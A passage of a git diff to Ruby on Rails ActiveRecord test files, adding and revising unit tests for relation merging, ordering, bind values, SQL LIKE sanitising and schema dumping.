+ end
+ end
relation = Relation.new(klass, :b)
relation.merge!(where: ['foo = ?', 'bar'])
assert_equal ['foo = bar'], relation.where_values
end
+ def test_merging_readonly_false
+ relation = Relation.new FakeKlass, :b
+ readonly_false_relation = relation.readonly(false)
+ # test merging in both directions
+ assert_equal false, relation.merge(readonly_false_relation).readonly_value
+ assert_equal false, readonly_false_relation.merge(relation).readonly_value
+ end
+
def test_relation_merging_with_merged_joins_as_symbols
special_comments_with_ratings = SpecialComment.joins(:ratings)
posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
+ def test_relation_merging_with_joins_as_join_dependency_pick_proper_parent
+ post = Post.create!(title: "haha", body: "huhu")
+ comment = post.comments.create!(body: "hu")
+ 3.times { comment.ratings.create! }
+
+ relation = Post.joins(:comments).merge Comment.joins(:ratings)
+
+ assert_equal 3, relation.where(id: post.id).pluck(:id).size
+ end
+
def test_respond_to_for_non_selected_element
post = Post.select(:title).first
assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception"
@@ -196,120 +235,5 @@ module ActiveRecord
posts_with_special_comments_with_ratings = Post.group("posts.id").joins(:special_comments).merge(special_comments_with_ratings)
assert_equal 3, authors(:david).posts.merge(posts_with_special_comments_with_ratings).count.length
end
-
- end
-
- class RelationMutationTest < ActiveSupport::TestCase
- class FakeKlass < Struct.new(:table_name, :name)
- def quoted_table_name
- %{"#{table_name}"}
- end
- end
-
- def relation
- @relation ||= Relation.new FakeKlass.new('posts'), :b
- end
-
- (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order]).each do |method|
- test "##{method}!" do
- assert relation.public_send("#{method}!", :foo).equal?(relation)
- assert_equal [:foo], relation.public_send("#{method}_values")
- end
- end
-
- test "#order!" do
- assert relation.order!('name ASC').equal?(relation)
- assert_equal ['name ASC'], relation.order_values
- end
-
- test "#order! with symbol prepends the table name" do
- assert relation.order!(:name).equal?(relation)
- assert_equal ['"posts".name ASC'], relation.order_values
- end
-
- test '#references!' do
- assert relation.references!(:foo).equal?(relation)
- assert relation.references_values.include?('foo')
- end
-
- test 'extending!' do
- mod, mod2 = Module.new, Module.new
-
- assert relation.extending!(mod).equal?(relation)
- assert_equal [mod], relation.extending_values
- assert relation.is_a?(mod)
-
- relation.extending!(mod2)
- assert_equal [mod, mod2], relation.extending_values
- end
-
- test 'extending! with empty args' do
- relation.extending!
- assert_equal [], relation.extending_values
- end
-
- (Relation::SINGLE_VALUE_METHODS - [:from, :lock, :reordering, :reverse_order, :create_with]).each do |method|
- test "##{method}!" do
- assert relation.public_send("#{method}!", :foo).equal?(relation)
- assert_equal :foo, relation.public_send("#{method}_value")
- end
- end
-
- test '#from!' do
- assert relation.from!('foo').equal?(relation)
- assert_equal ['foo', nil], relation.from_value
- end
-
- test '#lock!' do
- assert relation.lock!('foo').equal?(relation)
- assert_equal 'foo', relation.lock_value
- end
-
- test '#reorder!' do
- relation = self.relation.order('foo')
-
- assert relation.reorder!('bar').equal?(relation)
- assert_equal ['bar'], relation.order_values
- assert relation.reordering_value
- end
-
- test 'reverse_order!' do
- assert relation.reverse_order!.equal?(relation)
- assert relation.reverse_order_value
- relation.reverse_order!
- assert !relation.reverse_order_value
- end
-
- test 'create_with!' do
- assert relation.create_with!(foo: 'bar').equal?(relation)
- assert_equal({foo: 'bar'}, relation.create_with_value)
- end
-
- test 'merge!' do
- assert relation.merge!(where: :foo).equal?(relation)
- assert_equal [:foo], relation.where_values
- end
-
- test 'merge with a proc' do
- assert_equal [:foo], relation.merge(-> { where(:foo) }).where_values
- end
-
- test 'none!' do
- assert relation.none!.equal?(relation)
- assert_equal [NullRelation], relation.extending_values
- assert relation.is_a?(NullRelation)
- end
-
- test "distinct!" do
- relation.distinct! :foo
- assert_equal :foo, relation.distinct_value
- assert_equal :foo, relation.uniq_value # deprecated access
- end
-
- test "uniq! was replaced by distinct!" do
- relation.uniq! :foo
- assert_equal :foo, relation.distinct_value
- assert_equal :foo, relation.uniq_value # deprecated access
- end
end
end
diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb
index e26cecde20..68e62934c1 100644
--- a/activerecord/test/cases/relations_test.rb
+++ b/activerecord/test/cases/relations_test.rb
@@ -14,6 +14,7 @@ require 'models/car'
require 'models/engine'
require 'models/tyre'
require 'models/minivan'
+require 'models/aircraft'
class RelationTest < ActiveRecord::TestCase
@@ -42,6 +43,11 @@ class RelationTest < ActiveRecord::TestCase
end
def test_two_scopes_with_includes_should_not_drop_any_include
+ # heat habtm cache
+ car = Car.incl_engines.incl_tyres.first
+ car.tyres.length
+ car.engines.length
+
car = Car.incl_engines.incl_tyres.first
assert_no_queries { car.tyres.length }
assert_no_queries { car.engines.length }
@@ -60,7 +66,7 @@ class RelationTest < ActiveRecord::TestCase
def test_scoped
topics = Topic.all
assert_kind_of ActiveRecord::Relation, topics
- assert_equal 4, topics.size
+ assert_equal 5, topics.size
end
def test_to_json
@@ -81,14 +87,14 @@ class RelationTest < ActiveRecord::TestCase
def test_scoped_all
topics = Topic.all.to_a
assert_kind_of Array, topics
- assert_no_queries { assert_equal 4, topics.size }
+ assert_no_queries { assert_equal 5, topics.size }
end
def test_loaded_all
topics = Topic.all
assert_queries(1) do
- 2.times { assert_equal 4, topics.to_a.size }
+ 2.times { assert_equal 5, topics.to_a.size }
end
assert topics.loaded?
@@ -139,6 +145,21 @@ class RelationTest < ActiveRecord::TestCase
assert_equal relation.to_a, Topic.select('a.*').from(relation, :a).to_a
end
+ def test_finding_with_subquery_with_binds
+ relation = Post.first.comments
+ assert_equal relation.to_a, Comment.select('*').from(relation).to_a
+ assert_equal relation.to_a, Comment.select('subquery.*').from(relation).to_a
+ assert_equal relation.to_a, Comment.select('a.*').from(relation, :a).to_a
+ end
+
+ def test_finding_with_subquery_without_select_does_not_change_the_select
+ relation = Topic.where(approved: true)
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Topic.from(relation).to_a
+ end
+ end
+
+
def test_finding_with_conditions
assert_equal ["David"], Author.where(:name => 'David').map(&:name)
assert_equal ['Mary'], Author.where(["name = ?", 'Mary']).map(&:name)
@@ -147,48 +168,100 @@ class RelationTest < ActiveRecord::TestCase
def test_finding_with_order
topics = Topic.order('id')
- assert_equal 4, topics.to_a.size
+ assert_equal 5, topics.to_a.size
assert_equal topics(:first).title, topics.first.title
end
-
def test_finding_with_arel_order
topics = Topic.order(Topic.arel_table[:id].asc)
- assert_equal 4, topics.to_a.size
+ assert_equal 5, topics.to_a.size
assert_equal topics(:first).title, topics.first.title
end
def test_finding_with_assoc_order
topics = Topic.order(:id => :desc)
- assert_equal 4, topics.to_a.size
- assert_equal topics(:fourth).title, topics.first.title
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
end
def test_finding_with_reverted_assoc_order
topics = Topic.order(:id => :asc).reverse_order
- assert_equal 4, topics.to_a.size
- assert_equal topics(:fourth).title, topics.first.title
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_order_with_hash_and_symbol_generates_the_same_sql
+ assert_equal Topic.order(:id).to_sql, Topic.order(:id => :asc).to_sql
+ end
+
+ def test_finding_with_desc_order_with_string
+ topics = Topic.order(id: "desc")
+ assert_equal 5, topics.to_a.size
+ assert_equal [topics(:fifth), topics(:fourth), topics(:third), topics(:second), topics(:first)], topics.to_a
+ end
+
+ def test_finding_with_asc_order_with_string
+ topics = Topic.order(id: 'asc')
+ assert_equal 5, topics.to_a.size
+ assert_equal [topics(:first), topics(:second), topics(:third), topics(:fourth), topics(:fifth)], topics.to_a
+ end
+
+ def test_support_upper_and_lower_case_directions
+ assert_includes Topic.order(id: "ASC").to_sql, "ASC"
+ assert_includes Topic.order(id: "asc").to_sql, "ASC"
+ assert_includes Topic.order(id: :ASC).to_sql, "ASC"
+ assert_includes Topic.order(id: :asc).to_sql, "ASC"
+
+ assert_includes Topic.order(id: "DESC").to_sql, "DESC"
+ assert_includes Topic.order(id: "desc").to_sql, "DESC"
+ assert_includes Topic.order(id: :DESC).to_sql, "DESC"
+ assert_includes Topic.order(id: :desc).to_sql,"DESC"
end
def test_raising_exception_on_invalid_hash_params
- assert_raise(ArgumentError) { Topic.order(:name, "id DESC", :id => :DeSc) }
+ e = assert_raise(ArgumentError) { Topic.order(:name, "id DESC", id: :asfsdf) }
+ assert_equal 'Direction "asfsdf" is invalid. Valid directions are: [:asc, :desc, :ASC, :DESC, "asc", "desc", "ASC", "DESC"]', e.message
end
def test_finding_last_with_arel_order
topics = Topic.order(Topic.arel_table[:id].asc)
- assert_equal topics(:fourth).title, topics.last.title
+ assert_equal topics(:fifth).title, topics.last.title
end
def test_finding_with_order_concatenated
- topics = Topic.order('title').order('author_name')
- assert_equal 4, topics.to_a.size
+ topics = Topic.order('author_name').order('title')
+ assert_equal 5, topics.to_a.size
assert_equal topics(:fourth).title, topics.first.title
end
+ def test_finding_with_order_by_aliased_attributes
+ topics = Topic.order(:heading)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_finding_with_assoc_order_by_aliased_attributes
+ topics = Topic.order(heading: :desc)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:third).title, topics.first.title
+ end
+
def test_finding_with_reorder
topics = Topic.order('author_name').order('title').reorder('id').to_a
topics_titles = topics.map{ |t| t.title }
- assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day'], topics_titles
+ assert_equal ['The First Topic', 'The Second Topic of the day', 'The Third Topic of the day', 'The Fourth Topic of the day', 'The Fifth Topic of the day'], topics_titles
+ end
+
+ def test_finding_with_reorder_by_aliased_attributes
+ topics = Topic.order('author_name').reorder(:heading)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:fifth).title, topics.first.title
+ end
+
+ def test_finding_with_assoc_reorder_by_aliased_attributes
+ topics = Topic.order('author_name').reorder(heading: :desc)
+ assert_equal 5, topics.to_a.size
+ assert_equal topics(:third).title, topics.first.title
end
def test_finding_with_order_and_take
@@ -258,7 +331,7 @@ class RelationTest < ActiveRecord::TestCase
def test_none_chained_to_methods_firing_queries_straight_to_db
assert_no_queries do
- assert_equal [], Developer.none.pluck(:id) # => uses select_all
+ assert_equal [], Developer.none.pluck(:id, :name)
assert_equal 0, Developer.none.delete_all
assert_equal 0, Developer.none.update_all(:name => 'David')
assert_equal 0, Developer.none.delete(1)
@@ -289,6 +362,20 @@ class RelationTest < ActiveRecord::TestCase
assert_equal({}, Developer.none.where_values_hash)
end
+ def test_null_relation_where_values_hash
+ assert_equal({ 'salary' => 100_000 }, Developer.none.where(salary: 100_000).where_values_hash)
+ end
+
+
+ def test_null_relation_count
+ ac = Aircraft.new
+ assert_equal Hash.new, ac.engines.group(:id).count
+ assert_equal 0, ac.engines.count
+ ac.save
+ assert_equal Hash.new, ac.engines.group(:id).count
+ assert_equal 0, ac.engines.count
+ end
+
def test_joins_with_nil_argument
assert_nothing_raised { DependentFirm.joins(nil).first }
end
@@ -466,6 +553,14 @@ class RelationTest < ActiveRecord::TestCase
assert_equal Developer.where(name: 'David').map(&:id).sort, developers
end
+ def test_includes_with_select
+ query = Post.select('comments_count AS ranking').order('ranking').includes(:comments)
+ .where(comments: { id: 1 })
+
+ assert_equal ['comments_count AS ranking'], query.select_values
+ assert_equal 1, query.to_a.size
+ end
+
def test_loading_with_one_association
posts = Post.preload(:comments)
post = posts.find { |p| p.id == 1 }
@@ -481,6 +576,20 @@ class RelationTest < ActiveRecord::TestCase
assert_equal Post.find(1).last_comment, post.last_comment
end
+ def test_to_sql_on_eager_join
+ expected = assert_sql {
+ Post.eager_load(:last_comment).order('comments.id DESC').to_a
+ }.first
+ actual = Post.eager_load(:last_comment).order('comments.id DESC').to_sql
+ assert_equal expected, actual
+ end
+
+ def test_to_sql_on_scoped_proxy
+ auth = Author.first
+ Post.where("1=1").written_by(auth)
+ assert_not auth.posts.to_sql.include?("1=1")
+ end
+
def test_loading_with_one_association_with_non_preload
posts = Post.eager_load(:last_comment).order('comments.id DESC')
post = posts.find { |p| p.id == 1 }
@@ -545,7 +654,7 @@ class RelationTest < ActiveRecord::TestCase
def test_find_with_list_of_ar
author = Author.first
- authors = Author.find([author])
+ authors = Author.find([author.id])
assert_equal author, authors.first
end
@@ -598,6 +707,36 @@ class RelationTest < ActiveRecord::TestCase
relation = Author.where(:id => Author.where(:id => david.id))
assert_equal [david], relation.to_a
}
+
+ assert_queries(1) {
+ relation = Author.where('id in (?)', Author.where(id: david).select(:id))
+ assert_equal [david], relation.to_a
+ }
+
+ assert_queries(1) do
+ relation = Author.where('id in (:author_ids)', author_ids: Author.where(id: david).select(:id))
+ assert_equal [david], relation.to_a
+ end
+ end
+
+ def test_find_all_using_where_with_relation_with_bound_values
+ david = authors(:david)
+ davids_posts = david.posts.order(:id).to_a
+
+ assert_queries(1) do
+ relation = Post.where(id: david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a
+ end
+
+ assert_queries(1) do
+ relation = Post.where('id in (?)', david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as bind variables'
+ end
+
+ assert_queries(1) do
+ relation = Post.where('id in (:post_ids)', post_ids: david.posts.select(:id))
+ assert_equal davids_posts, relation.order(:id).to_a, 'should process Relation as named bind variables'
+ end
end
def test_find_all_using_where_with_relation_and_alternate_primary_key
@@ -647,7 +786,7 @@ class RelationTest < ActiveRecord::TestCase
assert ! davids.exists?(authors(:mary).id)
assert ! davids.exists?("42")
assert ! davids.exists?(42)
- assert ! davids.exists?(davids.new)
+ assert ! davids.exists?(davids.new.id)
fake = Author.where(:name => 'fake author')
assert ! fake.exists?
@@ -696,6 +835,16 @@ class RelationTest < ActiveRecord::TestCase
assert_raises(ActiveRecord::ActiveRecordError) { Author.limit(10).delete_all }
end
+ def test_select_with_aggregates
+ posts = Post.select(:title, :body)
+
+ assert_equal 11, posts.count(:all)
+ assert_equal 11, posts.size
+ assert posts.any?
+ assert posts.many?
+ assert_not posts.empty?
+ end
+
def test_select_takes_a_variable_list_of_args
david = developers(:david)
@@ -704,77 +853,15 @@ class RelationTest < ActiveRecord::TestCase
assert_equal david.salary, developer.salary
end
- def test_select_argument_error
- assert_raises(ArgumentError) { Developer.select }
- end
-
- def test_relation_merging
- devs = Developer.where("salary >= 80000").merge(Developer.limit(2)).merge(Developer.order('id ASC').where("id < 3"))
- assert_equal [developers(:david), developers(:jamis)], devs.to_a
-
- dev_with_count = Developer.limit(1).merge(Developer.order('id DESC')).merge(Developer.select('developers.*'))
- assert_equal [developers(:poor_jamis)], dev_with_count.to_a
- end
-
- def test_relation_to_sql
- sql = Post.connection.unprepared_statement do
- Post.first.comments.to_sql
- end
- assert_no_match(/\?/, sql)
- end
-
- def test_relation_merging_with_arel_equalities_keeps_last_equality
- devs = Developer.where(Developer.arel_table[:salary].eq(80000)).merge(
- Developer.where(Developer.arel_table[:salary].eq(9000))
- )
- assert_equal [developers(:poor_jamis)], devs.to_a
- end
-
- def test_relation_merging_with_arel_equalities_keeps_last_equality_with_non_attribute_left_hand
- salary_attr = Developer.arel_table[:salary]
- devs = Developer.where(
- Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(80000)
- ).merge(
- Developer.where(
- Arel::Nodes::NamedFunction.new('abs', [salary_attr]).eq(9000)
- )
- )
- assert_equal [developers(:poor_jamis)], devs.to_a
- end
-
- def test_relation_merging_with_eager_load
- relations = []
- relations << Post.order('comments.id DESC').merge(Post.eager_load(:last_comment)).merge(Post.all)
- relations << Post.eager_load(:last_comment).merge(Post.order('comments.id DESC')).merge(Post.all)
-
- relations.each do |posts|
- post = posts.find { |p| p.id == 1 }
- assert_equal Post.find(1).last_comment, post.last_comment
- end
- end
+ def test_select_takes_an_aliased_attribute
+ first = topics(:first)
- def test_relation_merging_with_locks
- devs = Developer.lock.where("salary >= 80000").order("id DESC").merge(Developer.limit(2))
- assert devs.locked.present?
+ topic = Topic.where(id: first.id).select(:heading).first
+ assert_equal first.heading, topic.heading
end
- def test_relation_merging_with_preload
- [Post.all.merge(Post.preload(:author)), Post.preload(:author).merge(Post.all)].each do |posts|
- assert_queries(2) { assert posts.first.author }
- end
- end
-
- def test_relation_merging_with_joins
- comments = Comment.joins(:post).where(:body => 'Thank you for the welcome').merge(Post.where(:body => 'Such a lovely day'))
- assert_equal 1, comments.count
- end
-
- def test_relation_merging_with_association
- assert_queries(2) do # one for loading post, and another one merged query
- post = Post.where(:body => 'Such a lovely day').first
- comments = Comment.where(:body => 'Thank you for the welcome').merge(post.comments)
- assert_equal 1, comments.count
- end
+ def test_select_argument_error
+ assert_raises(ArgumentError) { Developer.select }
end
def test_count
@@ -788,6 +875,17 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 9, posts.where(:comments_count => 0).count
end
+ def test_count_on_association_relation
+ author = Author.last
+ another_author = Author.first
+ posts = Post.where(author_id: author.id)
+
+ assert_equal author.posts.where(author_id: author.id).size, posts.count
+
+ assert_equal 0, author.posts.where(author_id: another_author.id).size
+ assert author.posts.where(author_id: another_author.id).empty?
+ end
+
def test_count_with_distinct
posts = Post.all
@@ -798,6 +896,14 @@ class RelationTest < ActiveRecord::TestCase
assert_equal 11, posts.distinct(false).select(:comments_count).count
end
+ def test_update_all_with_scope
+ tag = Tag.first
+ Post.tagged_with(tag.id).update_all title: "rofl"
+ list = Post.tagged_with(tag.id).all.to_a
+ assert_operator list.length, :>, 0
+ list.each { |post| assert_equal 'rofl', post.title }
+ end
+
def test_count_explicit_columns
Post.update_all(:comments_count => nil)
posts = Post.all
@@ -1175,20 +1281,20 @@ class RelationTest < ActiveRecord::TestCase
end
def test_default_scope_order_with_scope_order
- assert_equal 'honda', CoolCar.order_using_new_style.limit(1).first.name
- assert_equal 'honda', FastCar.order_using_new_style.limit(1).first.name
+ assert_equal 'zyke', CoolCar.order_using_new_style.limit(1).first.name
+ assert_equal 'zyke', FastCar.order_using_new_style.limit(1).first.name
end
def test_order_using_scoping
car1 = CoolCar.order('id DESC').scoping do
- CoolCar.all.merge!(:order => 'id asc').first
+ CoolCar.all.merge!(order: 'id asc').first
end
- assert_equal 'honda', car1.name
+ assert_equal 'zyke', car1.name
car2 = FastCar.order('id DESC').scoping do
- FastCar.all.merge!(:order => 'id asc').first
+ FastCar.all.merge!(order: 'id asc').first
end
- assert_equal 'honda', car2.name
+ assert_equal 'zyke', car2.name
end
def test_unscoped_block_style
@@ -1208,33 +1314,12 @@ class RelationTest < ActiveRecord::TestCase
assert_equal "id", Post.all.primary_key
end
- def test_eager_loading_with_conditions_on_joins
- scope = Post.includes(:comments)
-
- # This references the comments table, and so it should cause the comments to be eager
- # loaded via a JOIN, rather than by subsequent queries.
- scope = scope.joins(
- Post.arel_table.create_join(
- Post.arel_table,
- Post.arel_table.create_on(Comment.arel_table[:id].eq(3))
- )
- )
-
+ def test_disable_implicit_join_references_is_deprecated
assert_deprecated do
- assert scope.eager_loading?
+ ActiveRecord::Base.disable_implicit_join_references = true
end
end
- def test_turn_off_eager_loading_with_conditions_on_joins
- original_value = ActiveRecord::Base.disable_implicit_join_references
- ActiveRecord::Base.disable_implicit_join_references = true
-
- scope = Topic.where(author_email_address: 'my.example@gmail.com').includes(:replies)
- assert_not scope.eager_loading?
- ensure
- ActiveRecord::Base.disable_implicit_join_references = original_value
- end
-
def test_ordering_with_extra_spaces
assert_equal authors(:david), Author.order('id DESC , name DESC').last
end
@@ -1327,6 +1412,14 @@ class RelationTest < ActiveRecord::TestCase
assert_equal ['comments'], scope.references_values
end
+ def test_automatically_added_where_not_references
+ scope = Post.where.not(comments: { body: "Bla" })
+ assert_equal ['comments'], scope.references_values
+
+ scope = Post.where.not('comments.body' => 'Bla')
+ assert_equal ['comments'], scope.references_values
+ end
+
def test_automatically_added_having_references
scope = Post.having(:comments => { :body => "Bla" })
assert_equal ['comments'], scope.references_values
@@ -1353,6 +1446,36 @@ class RelationTest < ActiveRecord::TestCase
assert_equal [], scope.references_values
end
+ def test_automatically_added_reorder_references
+ scope = Post.reorder('comments.body')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('comments.body', 'yaks.body')
+ assert_equal %w(comments yaks), scope.references_values
+
+ # Don't infer yaks, let's not go down that road again...
+ scope = Post.reorder('comments.body, yaks.body')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('comments.body asc')
+ assert_equal %w(comments), scope.references_values
+
+ scope = Post.reorder('foo(comments.body)')
+ assert_equal [], scope.references_values
+ end
+
+ def test_order_with_reorder_nil_removes_the_order
+ relation = Post.order(:title).reorder(nil)
+
+ assert_nil relation.order_values.first
+ end
+
+ def test_reverse_order_with_reorder_nil_removes_the_order
+ relation = Post.order(:title).reverse_order.reorder(nil)
+
+ assert_nil relation.order_values.first
+ end
+
def test_presence
topics = Topic.all
@@ -1506,53 +1629,30 @@ class RelationTest < ActiveRecord::TestCase
end
end
+ test "joins with select" do
+ posts = Post.joins(:author).select("id", "authors.author_address_id").order("posts.id").limit(3)
+ assert_equal [1, 2, 4], posts.map(&:id)
+ assert_equal [1, 1, 1], posts.map(&:author_address_id)
+ end
+
test "delegations do not leak to other classes" do
Topic.all.by_lifo
assert Topic.all.class.method_defined?(:by_lifo)
assert !Post.all.respond_to?(:by_lifo)
end
- class OMGTopic < ActiveRecord::Base
- self.table_name = 'topics'
-
- def self.__omg__
- "omgtopic"
- end
- end
-
- test "delegations do not clash across classes" do
- begin
- class ::Array
- def __omg__
- "array"
- end
- end
-
- assert_equal "array", Topic.all.__omg__
- assert_equal "omgtopic", OMGTopic.all.__omg__
- ensure
- Array.send(:remove_method, :__omg__)
- end
- end
-
- test "merge collapses wheres from the LHS only" do
- left = Post.where(title: "omg").where(comments_count: 1)
- right = Post.where(title: "wtf").where(title: "bbq")
-
- expected = [left.where_values[1]] + right.where_values
- merged = left.merge(right)
+ def test_unscope_removes_binds
+ left = Post.where(id: Arel::Nodes::BindParam.new('?'))
+ column = Post.columns_hash['id']
+ left.bind_values += [[column, 20]]
- assert_equal expected, merged.where_values
- assert !merged.to_sql.include?("omg")
- assert merged.to_sql.include?("wtf")
- assert merged.to_sql.include?("bbq")
+ relation = left.unscope(where: :id)
+ assert_equal [], relation.bind_values
end
def test_merging_removes_rhs_bind_parameters
- left = Post.where(id: Arel::Nodes::BindParam.new('?'))
- column = Post.columns_hash['id']
- left.bind_values += [[column, 20]]
- right = Post.where(id: 10)
+ left = Post.where(id: 20)
+ right = Post.where(id: [1,2,3,4])
merged = left.merge(right)
assert_equal [], merged.bind_values
@@ -1562,11 +1662,19 @@ class RelationTest < ActiveRecord::TestCase
column = Post.columns_hash['id']
binds = [[column, 20]]
- right = Post.where(id: Arel::Nodes::BindParam.new('?'))
- right.bind_values += binds
+ right = Post.where(id: 20)
left = Post.where(id: 10)
merged = left.merge(right)
assert_equal binds, merged.bind_values
end
+
+ def test_merging_reorders_bind_params
+ post = Post.first
+ right = Post.where(id: post.id)
+ left = Post.where(title: post.title)
+
+ merged = left.merge(right)
+ assert_equal post, merged.first
+ end
end
diff --git a/activerecord/test/cases/result_test.rb b/activerecord/test/cases/result_test.rb
index b6c583dbf5..2131b32a0c 100644
--- a/activerecord/test/cases/result_test.rb
+++ b/activerecord/test/cases/result_test.rb
@@ -5,14 +5,16 @@ module ActiveRecord
def result
Result.new(['col_1', 'col_2'], [
['row 1 col 1', 'row 1 col 2'],
- ['row 2 col 1', 'row 2 col 2']
+ ['row 2 col 1', 'row 2 col 2'],
+ ['row 3 col 1', 'row 3 col 2'],
])
end
def test_to_hash_returns_row_hashes
assert_equal [
{'col_1' => 'row 1 col 1', 'col_2' => 'row 1 col 2'},
- {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'}
+ {'col_1' => 'row 2 col 1', 'col_2' => 'row 2 col 2'},
+ {'col_1' => 'row 3 col 1', 'col_2' => 'row 3 col 2'},
], result.to_hash
end
@@ -28,5 +30,11 @@ module ActiveRecord
assert_kind_of Integer, index
end
end
+
+ if Enumerator.method_defined? :size
+ def test_each_without_block_returns_a_sized_enumerator
+ assert_equal 3, result.each.size
+ end
+ end
end
end
diff --git a/activerecord/test/cases/sanitize_test.rb b/activerecord/test/cases/sanitize_test.rb
index 082570c55b..dca85fb5eb 100644
--- a/activerecord/test/cases/sanitize_test.rb
+++ b/activerecord/test/cases/sanitize_test.rb
@@ -1,5 +1,7 @@
require "cases/helper"
require 'models/binary'
+require 'models/author'
+require 'models/post'
class SanitizeTest < ActiveRecord::TestCase
def setup
@@ -9,7 +11,7 @@ class SanitizeTest < ActiveRecord::TestCase
quoted_bambi = ActiveRecord::Base.connection.quote("Bambi")
quoted_column_name = ActiveRecord::Base.connection.quote_column_name("name")
quoted_table_name = ActiveRecord::Base.connection.quote_table_name("adorable_animals")
- expected_value = "#{quoted_table_name}.#{quoted_column_name} = #{quoted_bambi}"
+ expected_value = "#{quoted_table_name}.#{quoted_column_name} = #{quoted_bambi}"
assert_equal expected_value, Binary.send(:sanitize_sql_hash, {adorable_animals: {name: 'Bambi'}})
end
@@ -31,4 +33,49 @@ class SanitizeTest < ActiveRecord::TestCase
assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper"])
assert_equal "name=#{quoted_bambi_and_thumper}", Binary.send(:sanitize_sql_array, ["name=?", "Bambi\nand\nThumper".mb_chars])
end
+
+ def test_sanitize_sql_array_handles_relations
+ david = Author.create!(name: 'David')
+ david_posts = david.posts.select(:id)
+
+ sub_query_pattern = /\(\bselect\b.*?\bwhere\b.*?\)/i
+
+ select_author_sql = Post.send(:sanitize_sql_array, ['id in (?)', david_posts])
+ assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for bind variables')
+
+ select_author_sql = Post.send(:sanitize_sql_array, ['id in (:post_ids)', post_ids: david_posts])
+ assert_match(sub_query_pattern, select_author_sql, 'should sanitize `Relation` as subquery for named bind variables')
+ end
+
+ def test_sanitize_sql_array_handles_empty_statement
+ select_author_sql = Post.send(:sanitize_sql_array, [''])
+ assert_equal('', select_author_sql)
+ end
+
+ def test_sanitize_sql_like
+ assert_equal '100\%', Binary.send(:sanitize_sql_like, '100%')
+ assert_equal 'snake\_cased\_string', Binary.send(:sanitize_sql_like, 'snake_cased_string')
+ assert_equal 'C:\\\\Programs\\\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint')
+ assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42')
+ end
+
+ def test_sanitize_sql_like_with_custom_escape_character
+ assert_equal '100!%', Binary.send(:sanitize_sql_like, '100%', '!')
+ assert_equal 'snake!_cased!_string', Binary.send(:sanitize_sql_like, 'snake_cased_string', '!')
+ assert_equal 'great!!', Binary.send(:sanitize_sql_like, 'great!', '!')
+ assert_equal 'C:\\Programs\\MsPaint', Binary.send(:sanitize_sql_like, 'C:\\Programs\\MsPaint', '!')
+ assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42', '!')
+ end
+
+ def test_sanitize_sql_like_example_use_case
+ searchable_post = Class.new(Post) do
+ def self.search(term)
+ where("title LIKE ?", sanitize_sql_like(term, '!'))
+ end
+ end
+
+ assert_sql(/LIKE '20!% !_reduction!_!!'/) do
+ searchable_post.search("20% _reduction_!").to_a
+ end
+ end
end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index a48ae1036f..fd0ef2f89f 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -63,7 +63,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
next if column_set.empty?
lengths = column_set.map do |column|
- if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
+ if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean|uuid)\s+"/)
match[0].length
end
end
@@ -177,7 +177,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_schema_dumps_index_columns_in_right_order
index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
- if current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter) || current_adapter?(:PostgreSQLAdapter)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition
else
assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
@@ -188,8 +188,10 @@ class SchemaDumperTest < ActiveRecord::TestCase
index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
if current_adapter?(:PostgreSQLAdapter)
assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition
- elsif current_adapter?(:MysqlAdapter) || current_adapter?(:Mysql2Adapter)
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition
+ elsif current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition
else
assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
end
@@ -202,6 +204,11 @@ class SchemaDumperTest < ActiveRecord::TestCase
